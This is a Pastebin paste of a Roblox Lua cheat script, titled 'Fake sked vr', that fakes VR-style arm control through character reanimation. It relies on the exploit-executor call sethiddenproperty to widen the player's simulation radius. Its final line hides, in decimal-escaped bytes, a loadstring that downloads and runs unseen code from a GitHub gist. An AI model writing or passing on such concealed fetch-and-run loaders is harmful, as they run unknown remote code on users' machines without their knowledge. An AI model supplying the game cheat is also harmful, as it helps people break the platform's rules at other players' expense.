Apokalive

Fake sked vr

Aug 13th, 2023
21
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.00 KB | None | 0 0
  1.  
  2. local plr = game.Players.LocalPlayer
  3. local char = game.Players.LocalPlayer.Character
  4. local srv = game:GetService('RunService')
  5. local ct = {}
  6. local te = table.insert
  7.  
  8. char.Archivable=true
  9. local reanim = char:Clone()
  10. local fl = Instance.new('Folder',char) fl.Name = 'VEE AHR'
  11.  
  12. for i,v in next, reanim:GetDescendants() do
  13. if v:IsA('BasePart') or v:IsA('Decal') then
  14. v.Transparency=1
  15. end
  16. end
  17.  
  18. for i,v in next, char:GetDescendants() do
  19. if v:IsA('BasePart') then
  20. te(ct,srv.Heartbeat:Connect(function()
  21. v.Velocity = Vector3.new(0,-30,0)
  22. sethiddenproperty(game.Players.LocalPlayer,"MaximumSimulationRadius",10000)
  23. sethiddenproperty(game.Players.LocalPlayer,"SimulationRadius",10000)
  24. end))
  25. end
  26. end
  27.  
  28. for i,v in next, char.Humanoid:GetPlayingAnimationTracks() do
  29. v:Stop()
  30. end
  31. char.Animate:Remove()
  32.  
  33. char.HumanoidRootPart:Destroy()
  34. char.Humanoid:ChangeState(16)
  35.  
  36. hats=0
  37. function create(part, parent, p, r)
  38. hats=hats+1
  39. Instance.new("Attachment",part)
  40. Instance.new("AlignPosition",part)
  41. Instance.new("AlignOrientation",part)
  42. Instance.new("Attachment",parent)
  43. part.Attachment.Name = part.Name..hats
  44. parent.Attachment.Name = part.Name..hats
  45. part.AlignPosition.Attachment0 = part[part.Name..hats]
  46. part.AlignOrientation.Attachment0 = part[part.Name..hats]
  47. part.AlignPosition.Attachment1 = parent[part.Name..hats]
  48. part.AlignOrientation.Attachment1 = parent[part.Name..hats]
  49. parent[part.Name..hats].Position = p or Vector3.new()
  50. part[part.Name..hats].Orientation = r or Vector3.new()
  51. part.AlignPosition.MaxForce = 999999999
  52. part.AlignPosition.MaxVelocity = 99999999
  53. part.AlignPosition.ReactionForceEnabled = false
  54. part.AlignPosition.Responsiveness = 99999999
  55. part.AlignOrientation.Responsiveness = 99999999
  56. part.AlignPosition.RigidityEnabled = false
  57. part.AlignOrientation.MaxTorque = 999999
  58. end
  59.  
  60. for i,v in next, char:GetDescendants() do
  61. if v:IsA('Motor6D') and v.Name ~= 'Neck' then
  62. v:Destroy()
  63. end
  64. end
  65.  
  66. for i,v in next, char:GetDescendants() do
  67. if v:IsA('BasePart') and v.Name ~= 'Head' and v.Name ~= 'Torso' and v.Name ~= 'Right Arm' and v.Name ~= 'Left Arm' and v.Parent==char then
  68. create(v,reanim[v.Name])
  69. end
  70. end
  71.  
  72. create(char.Torso,reanim.Torso,Vector3.new(0,0,0),Vector3.new(0,0,0))
  73.  
  74. char.Head.Anchored = true
  75.  
  76. for i,v in next, char:GetDescendants() do
  77. if v:IsA('Accessory') then
  78. v.Handle:BreakJoints()
  79. v.Handle.Transparency = 0
  80. create(v.Handle,reanim[v.Name].Handle)
  81. wait()
  82. te(ct,srv.RenderStepped:Connect(function()
  83. v.Handle.CFrame=reanim[v.Name].Handle.CFrame
  84. end))
  85. te(ct,srv.Heartbeat:Connect(function()
  86. v.Handle.CFrame=reanim[v.Name].Handle.CFrame
  87. end))
  88. end
  89. end
  90.  
  91. function noc()
  92. for i,v in next, reanim:GetDescendants() do
  93. if v:IsA('MeshPart') or v:IsA('BasePart') then
  94. table.insert(ct,srv.Stepped:Connect(function()
  95. v.CanCollide = false
  96. end))
  97. end
  98. end
  99. for i,v in next, char:GetDescendants() do
  100. if v:IsA('MeshPart') or v:IsA('BasePart') then
  101. table.insert(ct,srv.Stepped:Connect(function()
  102. if not v.Name == "Right Arm" or "Left Arm" then
  103. v.CanCollide = false
  104. end
  105. end))
  106. end
  107. end
  108. for i,v in next, reanim:GetDescendants() do
  109. if v:IsA('MeshPart') or v:IsA('BasePart') then
  110. table.insert(ct,srv.RenderStepped:Connect(function()
  111. v.CanCollide = false
  112. end))
  113. end
  114. end
  115. for i,v in next, char:GetDescendants() do
  116. if v:IsA('MeshPart') or v:IsA('BasePart') then
  117. table.insert(ct,srv.RenderStepped:Connect(function()
  118. v.CanCollide = false
  119. end))
  120. end
  121. end
  122. end
  123.  
  124. char['Left Leg']:Remove()
  125. char['Right Leg']:Remove()
  126.  
  127. noc()
  128.  
  129. reanim.Animate.Disabled=true
  130.  
  131. reanim.Parent=fl
  132.  
  133. plr.Character=reanim
  134. workspace.Camera.CameraSubject=reanim
  135.  
  136. RA=char['Right Arm']
  137. LA=char['Left Arm']
  138. FRA=Instance.new('Part',reanim)
  139. FRA.Transparency=1
  140. FRA.Size=Vector3.new(1,1,2)
  141. FLA=Instance.new('Part',reanim)
  142. FLA.Transparency=1
  143. FLA.Size=Vector3.new(1,1,2)
  144. FHD=Instance.new('Part',reanim)
  145. FHD.Transparency=1
  146. FHD.Size=Vector3.new(2,1,1)
  147.  
  148. create(FHD,reanim.Torso,Vector3.new(0,1,0))
  149. create(FRA,reanim.Torso,Vector3.new(1.5,0,0))
  150. create(FLA,reanim.Torso,Vector3.new(-1.5,0,0))
  151. create(char['Right Arm'],FRA)
  152. create(char['Left Arm'],FLA)
  153.  
  154. for i,v in next, reanim:GetDescendants() do
  155. if v:IsA('Accessory') then
  156. if v.Handle.AccessoryWeld.Part1.Name == 'Right Arm' then
  157. v.Handle.AccessoryWeld.Part1 = char['Right Arm']
  158. end
  159. if v.Handle.AccessoryWeld.Part1.Name == 'Left Arm' then
  160. v.Handle.AccessoryWeld.Part1 = char['Left Arm']
  161. end
  162. if v.Handle.AccessoryWeld.Part1.Name == 'Head' then
  163. v.Handle.AccessoryWeld.Part1 = FHD
  164. v.Handle.AccessoryWeld.C0=v.Handle.AccessoryWeld.C0*CFrame.new(0,-0.5,0)
  165. end
  166. end
  167. end
  168.  
  169. m=plr:GetMouse()
  170.  
  171. te(ct,srv.Stepped:Connect(function()
  172. m.TargetFilter=char
  173. end))
  174.  
  175. te(ct,srv.RenderStepped:Connect(function()
  176. m.TargetFilter=char
  177. end))
  178.  
  179. --char.Head.Mesh:Destroy()
  180.  
  181. te(ct,srv.RenderStepped:Connect(function()
  182. m.TargetFilter=char
  183. --FHD.CFrame=CFrame.new(FHD.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  184. --FRA.CFrame=CFraawme.new(FRA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  185. --FLA.CFrame=CFrame.new(FLA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  186. char['Right Arm'].CFrame=FRA.CFrame*CFrame.new(0,0,rm)*CFrame.Angles(math.rad(90),0,0)
  187. char['Left Arm'].CFrame=FLA.CFrame*CFrame.new(0,0,lm)*CFrame.Angles(math.rad(90),0,0)
  188. end))
  189.  
  190. rm=-2
  191. lm=-2
  192. lg=-2
  193. local leftpoint = false
  194. local rightpoint = false
  195. local headpoint = false
  196. te(ct,srv.Heartbeat:Connect(function()
  197. m.TargetFilter=char
  198. if headpoint ~= false then
  199. FHD.CFrame=CFrame.new(FHD.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  200. end
  201. if rightpoint ~= false then
  202. FRA.CFrame=CFrame.new(FRA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  203. end
  204. if leftpoint ~= false then
  205. FLA.CFrame=CFrame.new(FLA.Position,Vector3.new(m.Hit.p.x,m.Hit.p.y,m.Hit.p.z))
  206. end
  207. char['Right Arm'].CFrame=FRA.CFrame*CFrame.new(0,0,rm)*CFrame.Angles(math.rad(90),0,0)
  208. char['Left Arm'].CFrame=FLA.CFrame*CFrame.new(0,0,lm)*CFrame.Angles(math.rad(90),0,0)
  209. end))
  210.  
  211. te(ct,m.KeyDown:Connect(function(k)
  212. if k == 'g' then
  213. rm=-4
  214. end
  215. if k == 'f' then
  216. lm=-4
  217. end
  218. end))
  219.  
  220. te(ct,m.KeyUp:Connect(function(k)
  221. if k == 'g' then
  222. rm=-2
  223. end
  224. if k == 'f' then
  225. lm=-2
  226. end
  227. end))
  228.  
  229. reanim.Humanoid.Died:Connect(function()
  230. plr.Character=char
  231. char:BreakJoints()
  232. for i,v in next, ct do v:Disconnect() end
  233. hc=char:Clone()
  234. char.Humanoid:Destroy()
  235. hc.Parent=char
  236. game.Players:Chat('-re')
  237. end)
  238. local keepcam = false
  239. local camera = game.Workspace.Camera
  240. local tool2 = Instance.new("Tool")
  241. tool2.RequiresHandle = false
  242. tool2.Parent = plr.Backpack
  243. tool2.Name = "Right Arm"
  244.  
  245. tool2.Equipped:Connect(function()
  246. if keepcam ~= false then
  247. headpoint = false
  248. rightpoint = true
  249. camera.CameraType = Enum.CameraType.Scriptable
  250. else
  251. headpoint = false
  252. rightpoint = true
  253. camera.CameraType = Enum.CameraType.Track
  254. end
  255. end)
  256. local tool = Instance.new("Tool")
  257. tool.RequiresHandle = false
  258. tool.Parent = plr.Backpack
  259. tool.Name = "Left Arm"
  260.  
  261. local tool3 = Instance.new("Tool")
  262. tool3.RequiresHandle = false
  263. tool3.Parent = plr.Backpack
  264. tool3.Name = "Both Arm"
  265.  
  266. tool.Equipped:Connect(function()
  267. if keepcam ~= false then
  268. headpoint = false
  269. leftpoint = true
  270. camera.CameraType = Enum.CameraType.Scriptable
  271. else
  272. headpoint = false
  273. leftpoint = true
  274. camera.CameraType = Enum.CameraType.Track
  275. end
  276. end)
  277. tool3.Equipped:Connect(function()
  278. if keepcam ~= false then
  279. headpoint = false
  280. leftpoint = true
  281. rightpoint = true
  282. camera.CameraType = Enum.CameraType.Scriptable
  283. else
  284. camera.CameraType = Enum.CameraType.Track
  285. headpoint = false
  286. leftpoint = true
  287. rightpoint = true
  288. end
  289. end)
  290. local tool4 = Instance.new("Tool")
  291. tool4.Name = "Keepcamera OFF"
  292. tool4.RequiresHandle = false
  293. tool4.Parent = plr.Backpack
  294. tool.Unequipped:Connect(function()
  295. headpoint = false
  296. leftpoint = false
  297. camera.CameraType = Enum.CameraType.Track
  298. end)
  299.  
  300. tool4.Equipped:Connect(function()
  301. if keepcam ~= true then
  302. keepcam = true
  303. tool4.Name = "Keepcamera ON"
  304. else
  305. keepcam = false
  306. tool4.Name = "Keepcamera OFF"
  307. camera.CameraType = Enum.CameraType.Track
  308. end
  309. end)
  310.  
  311. tool2.Unequipped:Connect(function()
  312. headpoint = false
  313. rightpoint = false
  314. camera.CameraType = Enum.CameraType.Track
  315. end)
  316.  
  317. tool3.Unequipped:Connect(function()
  318. headpoint = false
  319. rightpoint = false
  320. leftpoint = false
  321. camera.CameraType = Enum.CameraType.Track
  322. end)
  323. loadstring("\108\111\97\100\115\116\114\105\110\103\40\103\97\109\101\58\72\116\116\112\71\101\116\40\40\39\104\116\116\112\115\58\47\47\103\105\115\116\46\103\105\116\104\117\98\117\115\101\114\99\111\110\116\101\110\116\46\99\111\109\47\109\101\111\122\111\110\101\89\84\47\98\102\48\51\55\100\102\102\57\102\48\97\55\48\48\49\55\51\48\52\100\100\100\54\55\102\100\99\100\51\55\48\47\114\97\119\47\101\49\52\101\55\52\102\52\50\53\98\48\54\48\100\102\53\50\51\51\52\51\99\102\51\48\98\55\56\55\48\55\52\101\98\51\99\53\100\50\47\97\114\99\101\117\115\37\50\53\50\48\120\37\50\53\50\48\102\108\121\37\50\53\50\48\50\37\50\53\50\48\111\98\102\108\117\99\97\116\111\114\39\41\44\116\114\117\101\41\41\40\41\10\10")()
Add Comment
Please, Sign In to add comment